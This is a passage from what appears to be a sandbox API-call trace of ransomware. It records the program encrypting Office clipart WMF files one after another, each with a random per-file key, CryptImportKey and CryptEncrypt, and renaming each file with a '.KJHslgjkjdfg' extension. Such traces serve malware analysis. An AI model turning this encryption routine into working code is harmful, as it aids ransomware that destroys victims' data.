Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.490] GetProcessHeap () returned 0x2a0000 [0172.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.490] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.490] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.490] GetProcessHeap () returned 0x2a0000 [0172.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.490] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.491] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.493] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.493] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.493] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.493] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.493] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.493] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.493] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c90, lpOverlapped=0x0) returned 1 [0172.494] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c90, dwBufLen=0x4c90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c90) returned 1 [0172.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.494] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c90, lpOverlapped=0x0) returned 1 [0172.494] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.495] SetEndOfFile (hFile=0x114) returned 1 [0172.497] GetProcessHeap () returned 0x2a0000 [0172.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.497] GetProcessHeap () returned 0x2a0000 [0172.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.kjhslgjkjdfg")) returned 1 [0172.498] CloseHandle (hObject=0x114) returned 1 [0172.498] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0172.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.499] GetProcessHeap () returned 0x2a0000 [0172.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.499] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.499] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.501] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.501] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.502] GetProcessHeap () returned 0x2a0000 [0172.502] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.502] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.502] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.502] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.502] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.502] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x864, lpOverlapped=0x0) returned 1 [0172.502] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x870, dwBufLen=0x870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x870) returned 1 [0172.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x870, lpOverlapped=0x0) returned 1 [0172.503] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.503] SetEndOfFile (hFile=0x114) returned 1 [0172.505] GetProcessHeap () returned 0x2a0000 [0172.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.505] GetProcessHeap () returned 0x2a0000 [0172.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.kjhslgjkjdfg")) returned 1 [0172.506] CloseHandle (hObject=0x114) returned 1 [0172.506] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0172.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.507] GetProcessHeap () returned 0x2a0000 [0172.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.507] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.507] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.509] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.509] GetProcessHeap () returned 0x2a0000 [0172.509] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.509] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.509] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.509] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.509] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.509] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd04, lpOverlapped=0x0) returned 1 [0172.509] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10, dwBufLen=0xd10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10) returned 1 [0172.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.509] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd10, lpOverlapped=0x0) returned 1 [0172.510] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.510] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.510] SetEndOfFile (hFile=0x114) returned 1 [0172.512] GetProcessHeap () returned 0x2a0000 [0172.512] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.512] GetProcessHeap () returned 0x2a0000 [0172.512] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.kjhslgjkjdfg")) returned 1 [0172.513] CloseHandle (hObject=0x114) returned 1 [0172.513] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0172.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.514] GetProcessHeap () returned 0x2a0000 [0172.514] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.514] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.514] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.516] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.516] GetProcessHeap () returned 0x2a0000 [0172.516] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.516] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.516] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.516] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.516] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.516] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.516] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.516] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.516] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x35d8, lpOverlapped=0x0) returned 1 [0172.517] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35e0, dwBufLen=0x35e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35e0) returned 1 [0172.518] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.518] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x35e0, lpOverlapped=0x0) returned 1 [0172.518] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.518] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.518] SetEndOfFile (hFile=0x114) returned 1 [0172.520] GetProcessHeap () returned 0x2a0000 [0172.520] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.520] GetProcessHeap () returned 0x2a0000 [0172.520] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.kjhslgjkjdfg")) returned 1 [0172.521] CloseHandle (hObject=0x114) returned 1 [0172.521] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0172.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.522] GetProcessHeap () returned 0x2a0000 [0172.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.522] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.524] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.524] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.524] GetProcessHeap () returned 0x2a0000 [0172.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.524] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.524] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.524] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, 